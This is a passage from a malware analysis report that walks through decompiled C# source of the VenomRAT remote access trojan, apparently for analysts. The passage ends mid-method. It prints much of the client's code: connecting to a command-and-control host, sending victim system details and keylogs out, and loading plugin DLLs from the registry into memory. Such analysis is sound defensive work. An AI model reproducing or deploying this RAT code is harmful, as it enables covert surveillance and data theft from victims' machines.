← Reports

Remote Access Trojan

VenomRAT - ClientAny.exe

Author
Moise Medici
Updated
15 Nov 2025 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Persistence MechanismsCommand Execution via Powershell Cmd BashData-Exfiltration
Tags
C#VenomRAT

Client.Connection

The Client.Connection class is relatively long, and it makes more sense to look at each method separately, starting from InitializeClient:

Client.Connection.ClientSocket
public static void InitializeClient()
{
try
{
ClientSocket.TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 51200,
SendBufferSize = 51200
};
if (Settings.Paste_bin == "null")
{
string text = Settings.Hos_ts.Split(new char[] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[] { ',' }).Length)];
int num = Convert.ToInt32(Settings.Por_ts.Split(new char[] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[] { ',' }).Length)]);
if (ClientSocket.IsValidDomainName(text))
{
foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
{
try
{
ClientSocket.TcpClient.Connect(ipaddress, num);
if (ClientSocket.TcpClient.Connected)
{
break;
}
}
catch
{
}
}
}
else
{
ClientSocket.TcpClient.Connect(text, num);
}
}
else
{
using (WebClient webClient = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
webClient.Credentials = networkCredential;
string[] array = webClient.DownloadString(Settings.Paste_bin).Split(new string[] { ":" }, StringSplitOptions.None);
Settings.Hos_ts = array[0];
Settings.Por_ts = array[new Random().Next(1, array.Length)];
ClientSocket.TcpClient.Connect(Settings.Hos_ts, Convert.ToInt32(Settings.Por_ts));
}
}
if (ClientSocket.TcpClient.Connected)
{
ClientSocket.IsConnected = true;
ClientSocket.SslClient = new SslStream(new NetworkStream(ClientSocket.TcpClient, true), false, new RemoteCertificateValidationCallback(ClientSocket.ValidateVenomServer));
ClientSocket.SslClient.AuthenticateAsClient(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);
ClientSocket.HeaderSize = 4L;
ClientSocket.Buffer = new byte[ClientSocket.HeaderSize];
ClientSocket.Offset = 0L;
ClientSocket.Send(IdSender.SendInfo());
ClientSocket.Interval = 0;
ClientSocket.ActivatePo_ng = false;
ClientSocket.KeepAlive = new Timer(new TimerCallback(ClientSocket.KeepAlivePacket), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
ClientSocket.Ping = new Timer(new TimerCallback(ClientSocket.Po_ng), null, 1, 1);
ClientSocket.SslClient.BeginRead(ClientSocket.Buffer, (int)ClientSocket.Offset, (int)ClientSocket.HeaderSize, new AsyncCallback(ClientSocket.ReadServertData), null);
}
else
{
ClientSocket.IsConnected = false;
}
}
catch
{
ClientSocket.IsConnected = false;
}
}

The first few lines are executed if Settings.Paste_bin is not configured. This means that the malware has not received the config from the paste site, but the values are hard-coded in the settings. It takes a random host and a random port from the list of hosts and ports configured. It then tries to resolve the domain and connect to the first IP address resolved.

Client.Connection.ClientSocket
string text = Settings.Hos_ts.Split(new char[] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[] { ',' }).Length)];
int num = Convert.ToInt32(Settings.Por_ts.Split(new char[] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[] { ',' }).Length)]);
if (ClientSocket.IsValidDomainName(text))
{
foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
{
try
{
ClientSocket.TcpClient.Connect(ipaddress, num);
if (ClientSocket.TcpClient.Connected)
{
break;
}
}
catch
{
}
}
}

In the scenario where there is a Paste_bin address, the connection is taken from the first host and a random port from those presented in the file.

Client.Connection.ClientSocket
using (WebClient webClient = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
webClient.Credentials = networkCredential;
string[] array = webClient.DownloadString(Settings.Paste_bin).Split(new string[] { ":" }, StringSplitOptions.None);
Settings.Hos_ts = array[0];
Settings.Por_ts = array[new Random().Next(1, array.Length)];
ClientSocket.TcpClient.Connect(Settings.Hos_ts, Convert.ToInt32(Settings.Por_ts));
}

Once a connection has been tested and established, it is verified by looking at the certificate that is provided by the server. The ValidateVenomServer method verifies that the certificate given by the server is the same as the one stored in the configuration.

Client.Connection.ClientSocket
ClientSocket.SslClient = new SslStream(new NetworkStream(ClientSocket.TcpClient, true), false, new RemoteCertificateValidationCallback(ClientSocket.ValidateVenomServer));

This is followed by a SendInfo() invocation:

Client.Connection.ClientSocket
ClientSocket.Send(IdSender.SendInfo());

The SendInfo method is in the Client.Helpers namespace and contains a list of all the data that are sent to the server:

Client.Helper.IdSender
namespace Client.Helper
{
public static class IdSender
{
public static byte[] SendInfo()
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "ClientInfo";
msgPack.ForcePathObject("ClientType").AsString = "Normal";
msgPack.ForcePathObject("HWID").AsString = Settings.Hw_id;
msgPack.ForcePathObject("DesktopName").AsString = Environment.MachineName;
msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgPack.ForcePathObject("Camera").AsString = Camera.havecamera().ToString();
msgPack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
msgPack.ForcePathObject("Version").AsString = Settings.Ver_sion;
msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower()
.Replace("true", "Admin")
.Replace("false", "User");
msgPack.ForcePathObject("Perfor_mance").AsString = Methods.GetActiveWindowTitle();
msgPack.ForcePathObject("Paste_bin").AsString = Settings.Paste_bin;
msgPack.ForcePathObject("Anti_virus").AsString = Methods.Antivirus();
msgPack.ForcePathObject("Install_ed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
msgPack.ForcePathObject("Po_ng").AsString = "";
msgPack.ForcePathObject("Group").AsString = Settings.Group;
msgPack.ForcePathObject("CPU").AsString = CGRInfo.GetCPUName();
msgPack.ForcePathObject("GPU").AsString = CGRInfo.GetGPU();
msgPack.ForcePathObject("RAM").AsString = CGRInfo.GetRAM();
msgPack.ForcePathObject("apps").AsString = CGRInfo.GetInstalledApplications();
msgPack.ForcePathObject("running").AsString = CGRInfo.GetUserProcessList();
Keylogger.Params.LoadFromFile();
msgPack.ForcePathObject("keylogsetting").AsString = Keylogger.Params.content;
return msgPack.Encode2Bytes();
}
}
}

The full list is:

What is collectedExplanation
Pac_ketA label indicating the message type, hardcoded as “ClientInfo”.
ClientTypeDescribes the type of client, such as “Normal”.
HWIDThe device’s hardware ID, used to uniquely identify the machine.
DesktopNameThe computer’s machine name from the operating system.
UserThe username of the currently logged-in user.
OSThe operating system’s full name and whether it’s 64-bit or 32-bit.
CameraIndicates whether a camera device is present.
PathThe full file path of the running executable.
VersionThe application’s version number.
AdminWhether the process is running with administrator privileges.
Perfor_manceThe title of the currently active window.
Paste_binThe Pastebin value.
Anti_virusThe name of the installed antivirus product.
Install_edThe timestamp of when the executable was installed.
Po_ngAn empty field, likely placeholder for ping or latency info.
GroupThe Group value from the Settings, which is Default.
CPUThe system’s CPU name.
GPUThe system’s graphics processor information.
RAMThe amount or model of installed RAM.
appsA list of installed applications.
runningA list of currently running processes.
keylogsettingThe keylogger configuration content.

After that, the following line allows the client to read data from the server:

Client.Connection.ClientSocket
ClientSocket.SslClient.BeginRead(ClientSocket.Buffer, (int)ClientSocket.Offset, (int)ClientSocket.HeaderSize, new AsyncCallback(ClientSocket.ReadServertData), null);

ReadServertData is not particularly interesting, as it handles all the TCP connection and packet reading. However, it calls the Read method, which is very interesting. The same applies for the other methods in this class: they are all used to manage the connection and packet transfer. Of more interest are the Read and the Invoke methods. Both of them deal with an aspect of VenomRAT that has not been touched on yet: plugins.

Client.Connection.ClientSocket
public static void Read(object data)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.DecodeFromBytes((byte[])data);
string asString = msgPack.ForcePathObject("Pac_ket").AsString;
uint num = <PrivateImplementationDetails>.ComputeStringHash(asString);
if (num <= 1512954518U)
{
if (num <= 633420285U)
{
if (num != 38622820U)
{
if (num != 633420285U)
{
goto IL_46F;
}
if (!(asString == "plu_gin"))
{
goto IL_46F;
}
try
{
string asString2 = msgPack.ForcePathObject("Dll").AsString;
if (SetRegistry.GetValue(asString2) == null)
{
ClientSocket.Packs.Add(msgPack);
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin");
msgPack2.ForcePathObject("Hashes").SetAsString(asString2);
ClientSocket.Send(msgPack2.Encode2Bytes());
}
else
{
ClientSocket.Invoke(msgPack);
}
goto IL_46F;
}
catch (Exception ex)
{
ClientSocket.Error(ex.Message);
goto IL_46F;
}
}
else
{
if (!(asString == "HVNCStop"))
{
goto IL_46F;
}
goto IL_386;
}
}
else if (num != 774213578U)
{
if (num != 1512954518U)
{
goto IL_46F;
}
if (!(asString == "loadofflinelog"))
{
goto IL_46F;
}
string text = "";
if (File.Exists(KeylogParams.OfflineSaveFileName))
{
text = File.ReadAllText(KeylogParams.OfflineSaveFileName);
File.Delete(KeylogParams.OfflineSaveFileName);
}
Logger.Log("\nOfflineKeylog sending....\n" + text);
MsgPack msgPack3 = new MsgPack();
msgPack3.ForcePathObject("Pac_ket").SetAsString("offlinelog");
msgPack3.ForcePathObject("log").SetAsString(text);
ClientSocket.Send(msgPack3.Encode2Bytes());
goto IL_46F;
}
else if (!(asString == "save_Plugin"))
{
goto IL_46F;
}
SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
using (List<MsgPack>.Enumerator enumerator = ClientSocket.Packs.ToList<MsgPack>().GetEnumerator())
{
while (enumerator.MoveNext())
{
MsgPack msgPack4 = enumerator.Current;
if (msgPack4.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
{
ClientSocket.Invoke(msgPack4);
ClientSocket.Packs.Remove(msgPack4);
}
}
goto IL_46F;
}
IL_386:
Program.StopHVNC();
}
else if (num <= 2737483663U)
{
if (num != 2576247050U)
{
if (num == 2737483663U)
{
if (asString == "runningapp")
{
MsgPack msgPack5 = new MsgPack();
msgPack5.ForcePathObject("Pac_ket").SetAsString("runningapp");
msgPack5.ForcePathObject("hwid").SetAsString(Settings.Hw_id);
msgPack5.ForcePathObject("value").SetAsString(CGRInfo.GetUserProcessList());
ClientSocket.Send(msgPack5.Encode2Bytes());
}
}
}
else if (asString == "keylogsetting")
{
Keylogger.Params.content = msgPack.ForcePathObject("value").AsString;
Keylogger.Params.SaveToFile();
}
}
else if (num != 4000839635U)
{
if (num != 4031341434U)
{
if (num == 4222846182U)
{
if (asString == "init_reg")
{
SetRegistry.InitRegistry();
MsgPack msgPack6 = new MsgPack();
msgPack6.ForcePathObject("Pac_ket").SetAsString("init_reg");
ClientSocket.Send(msgPack6.Encode2Bytes());
}
}
}
else if (asString == "Po_ng")
{
ClientSocket.ActivatePo_ng = false;
MsgPack msgPack7 = new MsgPack();
msgPack7.ForcePathObject("Pac_ket").SetAsString("Po_ng");
msgPack7.ForcePathObject("Message").SetAsInteger((long)ClientSocket.Interval);
ClientSocket.Send(msgPack7.Encode2Bytes());
ClientSocket.Interval = 0;
}
}
else if (asString == "filterinfo")
{
MsgPack msgPack8 = new MsgPack();
msgPack8.ForcePathObject("Pac_ket").SetAsString("filterinfo");
msgPack8.ForcePathObject("hwid").SetAsString(Settings.Hw_id);
msgPack8.ForcePathObject("apps").SetAsString(CGRInfo.GetInstalledApplications());
msgPack8.ForcePathObject("running").SetAsString(CGRInfo.GetUserProcessList());
ClientSocket.Send(msgPack8.Encode2Bytes());
}
IL_46F:;
}
catch (Exception ex2)
{
ClientSocket.Error(ex2.Message);
}
}

At the beginning of the code there are two definitions:

Client.Connection.ClientSocket
string asString = msgPack.ForcePathObject("Pac_ket").AsString;
uint num = <PrivateImplementationDetails>.ComputeStringHash(asString);

The first one takes the Pac_ket from the data received and casts it to a string; this is used throughout this method as a command-and-control field. The second is a hash function that can be found by clicking on the ComputeStringHash name.

The following are the commands that can be sent:

  • plu_gin
  • HVNCStop
  • loadofflinelog
  • save_Plugin
  • runningapp
  • keylogsetting
  • init_reg
  • Po_ng
  • filterinfo

The plu_gin command expects the data received from the server to contain a Dll entry. If the HKCU\Software does not have the value contained in Dll, the client asks the server to send the plugin.

Client.Connection.ClientSocket
string asString2 = msgPack.ForcePathObject("Dll").AsString;
if (SetRegistry.GetValue(asString2) == null)
{
ClientSocket.Packs.Add(msgPack);
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin");
msgPack2.ForcePathObject("Hashes").SetAsString(asString2);
ClientSocket.Send(msgPack2.Encode2Bytes());
}

The way the HKCU\Software key was found is by looking at the Client.Helpers.SetRegistry class, which contains the GetValue method. It retrieves the key from Registry.CurrentUser and the subkey using the constant value found in the same file: private static readonly string ID = "Software\\" + Settings.Hw_id;. The goto IL_46F seen in the code is a jump instruction to the IL_46F label, which terminates the method call.

If the client already has the plugin in the registry it gets invoked via:

Client.Connection.ClientSocket
ClientSocket.Invoke(msgPack);

The HVNCStop command invokes the Program.StopHVNC method that was previously discussed.

loadofflinelog instructs the client to send the logs that have been saved in DataLogs_keylog_offline.txt.

SavePlugin takes the data sent from the server, sets the registry key as seen before, and runs Invoke on the data received.

Client.Connection.ClientSocket
SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
using (List<MsgPack>.Enumerator enumerator = ClientSocket.Packs.ToList<MsgPack>().GetEnumerator())
{
while (enumerator.MoveNext())
{
MsgPack msgPack4 = enumerator.Current;
if (msgPack4.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
{
ClientSocket.Invoke(msgPack4);
ClientSocket.Packs.Remove(msgPack4);
}
}
goto IL_46F;
}

The runningapp command instructs the client to send the Hw_id and the list of user processes running:

Client.Connection.ClientSocket
MsgPack msgPack5 = new MsgPack();
msgPack5.ForcePathObject("Pac_ket").SetAsString("runningapp");
msgPack5.ForcePathObject("hwid").SetAsString(Settings.Hw_id);
msgPack5.ForcePathObject("value").SetAsString(CGRInfo.GetUserProcessList());
ClientSocket.Send(msgPack5.Encode2Bytes());

The keylogsettings, init_reg and Po_ng respectively save the keylogger settings, delete the registry used by the sample, and maintain the connection open with the server, while filterinfo sends to the server the installed and running apps along with the client ID.

The Invoke method decompresses the Dll content and loads it directly in memory via the AppDomain.CurrentDomain.Load function. It then dynamically loads the Run method on the decompressed data. Optionally, it stops the HVNC as previously seen. Once everything is done, the client informs the server using the ClientSocket.Received method.

Client.Connection.ClientSocket
private static void Invoke(MsgPack unpack_msgpack)
{
byte[] array = Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString));
object obj = Activator.CreateInstance(AppDomain.CurrentDomain.Load(array).GetType("Plugin.Plugin"));
string asString = unpack_msgpack.ForcePathObject("Info").AsString;
try
{
if (string.IsNullOrEmpty(asString))
{
if (ClientSocket.<>o__53.<>p__0 == null)
{
ClientSocket.<>o__53.<>p__0 = CallSite<Action<CallSite, object, Socket, X509Certificate2, string, byte[], Mutex, string, string, string>>.Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Run", null, typeof(ClientSocket), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
}));
}
ClientSocket.<>o__53.<>p__0.Target(ClientSocket.<>o__53.<>p__0, obj, ClientSocket.TcpClient, Settings.Server_Certificate, Settings.Hw_id, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BS_OD, Settings.In_stall);
}
else if (asString == "hvnc")
{
Program.StopHVNC();
int num = (int)unpack_msgpack.ForcePathObject("HPort").AsInteger;
if (ClientSocket.<>o__53.<>p__1 == null)
{
ClientSocket.<>o__53.<>p__1 = CallSite<Action<CallSite, object, string, int>>.Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Run", null, typeof(ClientSocket), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
}));
}
ClientSocket.<>o__53.<>p__1.Target(ClientSocket.<>o__53.<>p__1, obj, Settings.Hos_ts, num);
}
ClientSocket.Received();
}
catch (Exception)
{
}